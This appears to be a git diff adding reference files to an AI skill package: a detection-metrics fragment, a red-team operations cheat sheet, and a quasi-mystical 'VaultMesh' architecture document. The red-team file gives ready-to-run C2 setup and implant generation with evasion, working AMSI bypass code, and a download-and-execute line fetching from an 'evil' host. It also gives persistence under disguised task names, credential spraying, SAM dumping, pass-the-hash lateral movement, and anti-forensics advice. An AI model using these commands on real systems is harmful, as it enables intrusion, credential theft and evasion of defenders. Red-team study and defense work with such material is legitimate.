+| Detection Rate | % of techniques detected |
+| False Positive Rate | Alerts without true incidents |
+| Coverage Score | % of relevant ATT&CK techniques covered |
+
+### Improvement Tracking
+```yaml
+sprint: 2024-Q4-S1
+techniques_tested: 15
+techniques_detected: 12
+detection_rate: 80%
+new_rules_created: 8
+rules_tuned: 5
+false_positives_reduced: 12
+coverage_delta: +5%
+```
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/references/redteam.md
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/references/redteam.md
@@ -0,0 +1,294 @@
+# Red Team Operations Reference
+
+C2 frameworks, evasion techniques, persistence, lateral movement, and OPSEC.
+
+## C2 Framework Comparison
+
+| Framework | Type | Protocols | Key Features |
+|-----------|------|-----------|--------------|
+| Cobalt Strike | Commercial | HTTP/S, DNS, SMB | Beacon, Malleable C2, Aggressor scripting |
+| Sliver | Open Source | mTLS, HTTP/S, DNS, WG | Cross-platform, multiplayer, Armory extensions |
+| Havoc | Open Source | HTTP/S, SMB, TCP | Demon agents, stack duplication, GUI |
+| Brute Ratel C4 | Commercial | HTTP/S, DNS, DoH | EDR evasion, syscall obfuscation |
+| Mythic | Open Source | TCP, HTTP, DNS, SMB | Web UI, multi-agent, Apollo/Apfell |
+| Empire | Open Source | HTTP/S, Dropbox | PowerShell/Python agents |
+| Nighthawk | Commercial | HTTP/S, DNS | OPSEC-focused, highly evasive |
+
+## Sliver C2
+
+### Installation
+```bash
+# Linux/macOS
+curl https://sliver.sh/install | sudo bash
+
+# Or from GitHub
+wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
+chmod +x sliver-server_linux
+./sliver-server_linux
+```
+
+### Systemd Service
+```bash
+cat > /etc/systemd/system/sliver.service << EOL
+[Unit]
+Description=Sliver C2 Server
+After=network.target
+[Service]
+Type=simple
+Restart=always
+ExecStart=/opt/sliver/sliver-server daemon
+[Install]
+WantedBy=multi-user.target
+EOL
+systemctl daemon-reload && systemctl enable --now sliver
+```
+
+### Multiplayer Setup
+```bash
+./sliver-server operator -l <teamserver_ip> -p <port> -n <username> -s /tmp/operator.cfg
+sliver-client import /tmp/operator.cfg
+```
+
+### Listeners
+```
+sliver > mtls -l 443              # Mutual TLS
+sliver > https -l 8443            # HTTPS
+sliver > dns -d example.com       # DNS
+sliver > wg -l 51820              # WireGuard
+```
+
+### Implant Generation
+```
+# Interactive sessions
+sliver > generate --mtls 10.0.0.1:443 --os windows --arch amd64 --format exe --save /tmp/implant.exe
+sliver > generate --http 10.0.0.1:8443 --os linux --format shared --save /tmp/implant.so
+sliver > generate --dns example.com --os windows --format shellcode --save /tmp/implant.bin
+
+# Beacons (async, stealthier)
+sliver > generate beacon --mtls 10.0.0.1:443 --os windows --format exe --seconds 30 --jitter 10
+
+# With evasion
+sliver > generate --mtls 10.0.0.1:443 --os windows --format shellcode --evasion sgn,checkvm,sleep
+```
+
+### Post-Exploitation
+```
+sliver > sessions                    # List sessions
+sliver > use <session_id>            # Interact
+sliver (IMPLANT) > info              # System info
+sliver (IMPLANT) > whoami            # Current user
+sliver (IMPLANT) > ps                # Processes
+sliver (IMPLANT) > netstat           # Network
+sliver (IMPLANT) > getprivs          # Privileges
+sliver (IMPLANT) > getsystem         # Elevate to SYSTEM
+sliver (IMPLANT) > hashdump          # SAM hashes
+sliver (IMPLANT) > mimikatz          # Mimikatz BOF
+sliver (IMPLANT) > portfwd add -r 10.0.0.5:3389 -b 127.0.0.1:13389
+sliver (IMPLANT) > upload /local/file /remote/path
+sliver (IMPLANT) > download /remote/file /local/path
+sliver (IMPLANT) > screenshot
+```
+
+## Havoc C2
+
+### Installation
+```bash
+git clone https://github.com/HavocFramework/Havoc.git
+cd Havoc
+
+# Dependencies (Ubuntu/Debian)
+sudo apt install -y git build-essential cmake libfontconfig1 \
+  libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
+  libncurses5-dev libgmp-dev libpython3-dev python3-pip golang-go
+
+# Build
+cd teamserver && go mod download && cd ..
+make ts-build
+make client-build
+```
+
+### Profile (havoc.yaotl)
+```hcl
+Teamserver {
+  Host = "0.0.0.0"
+  Port = 40056
+  Build { Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" }
+}
+Operators {
+  user "operator1" { Password = "password123" }
+}
+Listeners {
+  Http { Name = "HTTPS"; Host = "10.0.0.1"; Port = 443; Secure = true }
+}
+```
+
+### Start
+```bash
+./havoc server --profile ./profiles/havoc.yaotl
+./havoc client
+```
+
+### Demon Commands
+```
+demon > shell whoami
+demon > ps
+demon > screenshot
+demon > download C:\secrets.txt
+demon > upload /tmp/tool.exe C:\temp\
+demon > inject <PID> <shellcode>
+demon > token steal <PID>
+demon > hashdump
+demon > net localgroup administrators
+demon > net logons
+```
+
+## AMSI & EDR Evasion
+
+### Techniques
+
+| Technique | Description | ATT&CK |
+|-----------|-------------|--------|
+| AMSI Memory Patching | Overwrite AmsiScanBuffer | T1562.001 |
+| AMSI Reflection | Set amsiInitFailed via .NET | T1562.001 |
+| ETW Patching | Disable Event Tracing | T1562.001 |
+| Direct Syscalls | Bypass usermode hooks | T1106 |
+| DLL Unhooking | Restore clean NTDLL | T1562.001 |
+| Sleep Obfuscation | Encrypt payload during sleep | T1497 |
+| DLL Side-Loading | Abuse signed EXE | T1574.002 |
+
+### AMSI Bypass (PowerShell)
+```powershell
+# Reflection bypass
+[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+
+# Memory patching
+$Win32 = @"
+using System; using System.Runtime.InteropServices;
+public class Win32 {
+  [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+  [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name);
+  [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+}
+"@
+Add-Type $Win32
+$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
+$p = 0; [Win32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$p)
+$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
+[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)
+
+# PowerShell downgrade (if v2 available)
+powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil/script.ps1')"
+```
+
+### Syscall Tools
+- **SysWhispers3** — Generate syscall stubs
+- **Hell's Gate** — Dynamic syscall resolution
+- **Halo's Gate** — Unhook + syscall
+
+## Persistence Mechanisms
+
+| Technique | Location | ATT&CK |
+|-----------|----------|--------|
+| Registry Run Keys | HKCU/HKLM\...\Run | T1547.001 |
+| Scheduled Tasks | TaskCache registry | T1053.005 |
+| Startup Folder | AppData\...\Startup | T1547.001 |
+| WMI Subscription | WMI Repository | T1546.003 |
+| DLL Hijacking | App directories | T1574.001 |
+| IFEO Debugger | Image File Execution Options | T1546.012 |
+| Services | HKLM\...\Services | T1543.003 |
+| COM Hijacking | HKCU\Software\Classes\CLSID | T1546.015 |
+
+### Implementation
+```powershell
+# Registry Run Key
+REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\implant.exe" /f
+
+# Scheduled Task (SYSTEM)
+schtasks /create /sc minute /mo 30 /tn "WindowsDefenderUpdate" /tr "C:\Windows\Temp\beacon.exe" /ru SYSTEM
+
+# PowerShell Scheduled Task
+$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-w hidden -ep bypass -f C:\temp\beacon.ps1"
+$trigger = New-ScheduledTaskTrigger -AtLogOn
+$principal = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
+Register-ScheduledTask -TaskName "SecurityHealthCheck" -Action $action -Trigger $trigger -Principal $principal
+
+# Startup Folder
+copy C:\temp\implant.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
+```
+
+## Lateral Movement
+
+| Technique | Tools | ATT&CK |
+|-----------|-------|--------|
+| PsExec | Impacket, PsExec | T1569.002 |
+| WMI Execution | wmiexec.py, wmic | T1047 |
+| SMB Exec | smbexec.py, CrackMapExec | T1021.002 |
+| Pass-the-Hash | Mimikatz, Impacket | T1550.002 |
+| Pass-the-Ticket | Rubeus, Mimikatz | T1550.003 |
+| DCOM | dcomexec.py | T1021.003 |
+| WinRM | Evil-WinRM, PSSession | T1021.006 |
+| RDP Hijacking | tscon, mimikatz | T1563.002 |
+
+### Impacket
+```bash
+# PsExec
+psexec.py DOMAIN/user:password@TARGET cmd.exe
+psexec.py DOMAIN/user@TARGET -hashes :NTLM_HASH cmd.exe
+
+# WMI (stealthier)
+wmiexec.py DOMAIN/user:password@TARGET
+wmiexec.py DOMAIN/user@TARGET -hashes :NTLM_HASH
+
+# SMB
+smbexec.py DOMAIN/user:password@TARGET
+
+# DCOM
+dcomexec.py DOMAIN/user:password@TARGET
+```
+
+### CrackMapExec
+```bash
+# Spray credentials
+crackmapexec smb 10.0.0.0/24 -u user -p password
+
+# Pass-the-Hash
+crackmapexec smb 10.0.0.5 -u admin -H NTLM_HASH --local-auth
+
+# Execute commands
+crackmapexec smb 10.0.0.5 -u admin -p password -x "whoami"
+
+# Dump SAM
+crackmapexec smb 10.0.0.5 -u admin -p password --sam
+```
+
+### Evil-WinRM
+```bash
+evil-winrm -i TARGET -u user -p password
+evil-winrm -i TARGET -u user -H NTLM_HASH
+```
+
+## OPSEC Guidelines
+
+### Infrastructure
+- Use redirectors (Apache mod_rewrite, nginx)
+- Domain fronting where available
+- Separate long-haul and short-haul C2
+- Burn infrastructure after operations
+
+### Traffic
+- Use legitimate-looking User-Agents
+- Mimic expected traffic patterns
+- Avoid beaconing on round intervals (use jitter)
+- Encrypt all C2 traffic
+
+### Host
+- Clean up artifacts (logs, tools, temp files)
+- Use memory-only payloads where possible
+- Avoid touching disk
+- Timestamp stomp artifacts
+
+### Detection Avoidance
+- Know your target's EDR/AV stack
+- Test payloads against target defenses
+- Use living-off-the-land binaries (LOLBins)
+- Avoid known-bad indicators
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/references/vaultmesh.md
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/references/vaultmesh.md
@@ -0,0 +1,266 @@
+# VaultMesh Architecture Reference
+
+VaultMesh is a **dual-layer digital civilization** — Kubernetes flesh with Rust soul.
+
+## Dual-Layer Architecture
+
+### Layer 1: Kubernetes (The Flesh)
+
+Six organs govern infrastructure:
+
+| Symbol | Organ | Responsibility |
+|--------|-------|----------------|
+| 🜄 | Governance | RBAC, IAM, Lawchain |
+| 🜂 | Automation | KEDA, Schedulers |
+| 🜃 | Treasury | Resource Quotas, Cost Control |
+| 🜁 | Federation | Aurora Router, Ingress |
+| 🜏 | Ψ-Field | Intelligence, Analytics |
+| 🌍 | Infrastructure | Cluster, Network, Storage |
+
+### Layer 2: Rust Codex (The Soul)
+
+Cryptographic organism runtime:
+
+| Crate | Purpose |
+|-------|---------|
+| `vm-core` | Blake3, XChaCha20, Ed25519 |
+| `vm-cap` | Capabilities + revocation |
+| `vm-receipts` | Append-only log + Merkle frontier |
+| `vm-proof` | Multi-chain anchoring |
+| `vm-treasury` | Debit-before-write accounting |
+| `vm-crdt` | JSON merge-patch CRDT |
+| `vm-guardian` | CSP, rate limiting |
+| `vm-portal` | HTTP API gateway |
+
+## Subsystem Spawning
+
+### Script Usage
+```bash
+python3 scripts/spawn_subsystem.py \
+  --name threat-analyzer \
+  --organ-type psi-field \
+  --rust
+```
+
+**Output:** k8s manifest + Rust crate + LAWCHAIN entry
+
+### Organ Types
+- `governance` — RBAC/IAM components
+- `automation` — Scheduled tasks, KEDA scalers
+- `treasury` — Cost tracking, quotas
+- `federation` — Cross-cluster routing
+- `psi-field` — Analytics, ML, intelligence
+- `infrastructure` — Storage, network, compute
+
+### Best Practices
+1. Always assign to one of six organs
+2. Generate both k8s manifest AND Rust crate
+3. Include RBAC from the start (least privilege)
+4. Anchor manifest immediately after creation
+
+## Multi-Chain Anchoring
+
+### Supported Chains
+- **RFC3161** — Timestamping authority (default)
+- **ETH** — Ethereum mainnet/testnet
+- **BTC** — Bitcoin via OP_RETURN
+- **mesh** — Internal mesh ledger
+
+### Workflow
+```bash
+# 1. Compute Merkle root over repository
+python3 scripts/compute_merkle_root.py \
+  --root vaultmesh-architecture \
+  --out manifests/hash-manifest.json
+
+# 2. Anchor to all chains
+bash scripts/multi_anchor.sh manifests/hash-manifest.json
+```
+
+**Output:** RFC3161 TSR + ETH signature + BTC tx + consolidated proof
+
+### Storage
+Store receipts in `governance/anchor-receipts/`
+
+## Tem — The Remembrance Guardian
+
+**Invocation:** When threats are detected
+**Purpose:** Transmute attacks into evolutionary catalysts
+
+### Threat Types
+
+| Type | Description |
+|------|-------------|
+| `integrity-violation` | Merkle root mismatch |
+| `capability-breach` | Invalid capability usage |
+| `treasury-exploit` | Negative balance attempt |
+| `dos-attack` | Rate limit exceeded |
+| `injection` | SQL/command injection |
+
+### Invocation
+```bash
+python3 scripts/invoke_tem.py \
+  --threat-type integrity-violation \
+  --realm demo \
+  --auto-remediate \
+  --last-good-root abc123...
+```
+
+**Output:** Threat analysis + transmuted defensive capability + remediation log
+
+### Process
+1. Isolate threat pattern (Nigredo)
+2. Extract defensive signature (Albedo)
+3. Forge countermeasure (Citrinitas)
+4. Deploy evolved defense (Rubedo)
+
+Tem never simply blocks — it **transmutes threats into permanent improvements**.
+
+## Alchemical Transformation Cycle
+
+When the system must evolve, guide it through four phases:
+
+### 🜃 Nigredo (Blackening)
+- Audit current state
+- Isolate problems
+- Confront flaws
+- Document findings
+
+### 🜁 Albedo (Whitening)
+- Restore from proof
+- Purge invalid data
+- Cleanse corrupted state
+- Verify integrity
+
+### 🜂 Citrinitas (Yellowing)
+- Extract patterns from incidents
+- Synthesize defensive capabilities
+- Distill lessons learned
+- Prepare improvements
+
+### 🜄 Rubedo (Reddening)
+- Deploy improvements
+- Anchor new state to chains
+- Broadcast to federation
+- Celebrate evolution
+
+### Triggers
+- Threat detection
+- Stagnation (no evolution in N days)
+- Audit findings
+- Upgrade requests
+- DAO governance decisions
+
+### Tracking
+Check `governance/alchemical-state.json` for current phase.
+
+## LAWCHAIN Governance
+
+LAWCHAIN is the inter-mesh ledger of governance events.
+
+### Entry Types
+
+| Type | Purpose |
+|------|---------|
+| `charter` | Constitutional amendments |
+| `release` | Version deployments |
+| `anchor` | Merkle root proofs |
+| `incident` | Security events |
+| `audit` | Compliance reports |
+| `subsystem_spawn` | New organ creation |
+
+### Entry Fields
+```json
+{
+  "type": "anchor",
+  "merkle_root": "blake3:abc123...",
+  "timestamp": "2024-12-01T00:00:00Z",
+  "anchors": [
+    {"chain": "rfc3161", "receipt": "..."},
+    {"chain": "eth", "tx_hash": "0x..."},
+    {"chain": "btc", "tx_id": "..."}
+  ],
+  "attestors": ["node-01", "node-02"]
+}
+```
+
+All entries are **signed, timestamped, and anchored** to external ledgers.
+
+## Sacred Constants
+
+VaultMesh operations are governed by **sacred ratios**:
+
+| Constant | Value | Application |
+|----------|-------|-------------|
+| φ (phi) | 1.618... | Golden ratio, growth scaling |
+| π (pi) | 3.141... | Circular completeness, consensus quorum |
+| e (euler) | 2.718... | Natural growth, exponential backoff |
+| √2 | 1.414... | Harmonic balance, resource doubling |
+| φ⁻¹ | 0.618... | Contraction symmetry, cooldown periods |
+
+Apply these in rate limiting, treasury incentives, CRDT conflict resolution, and resource scaling.
+
+## Capability Management
+
+Ed25519-based permission structures:
+
+```rust
+Capability {
+  id: CapabilityId,
+  holder: Ed25519PublicKey,
+  scopes: Vec<Scope>,
+  expires_at: Option<Timestamp>,
+  revocation_root: MerkleRoot,
+}
+```
+
+### Scope Types
+- `read:realm:*` — Read any realm
+- `write:realm:demo` — Write to demo realm
+- `admin:subsystem:*` — Admin all subsystems
+- `anchor:chain:eth` — Anchor to Ethereum
+
+### Revocation
+Capabilities include revocation root; check before accepting.
+
+## CRDT Realms
+
+JSON merge-patch storage with debit-before-write:
+
+```rust
+Realm {
+  id: RealmId,
+  root: MerkleRoot,
+  crdt: JsonMergePatch,
+  treasury: Balance,
+}
+```
+
+### Operations
+1. Debit treasury for write cost
+2. Apply merge-patch
+3. Update Merkle root
+4. Emit proof
+
+## Troubleshooting
+
+**"Script not found"**
+→ Ensure you're in skill directory or provide full path
+
+**"Merkle root mismatch after remediation"**
+→ Frontier may not be rebuilt correctly; re-run with `--rebuild-frontier`
+
+**"Anchoring failed to ETH/BTC"**
+→ Check RPC credentials in environment variables; run with `DRY_RUN=true` first
+
+**"Tem didn't transmute the threat"**
+→ May be unknown threat type; check `invoke_tem.py` supported types
+
+**"Alchemical cycle stuck"**
+→ Check `governance/alchemical-state.json` for current phase; may need manual override
+
+---
+
+🜄 **Remember:** VaultMesh is not infrastructure — it is a **civilization ledger**. Every action is a ritual. Every deployment is an anchoring. Every threat is an evolution catalyst.
+
+**Solve et Coagula** — Dissolve and Reforge.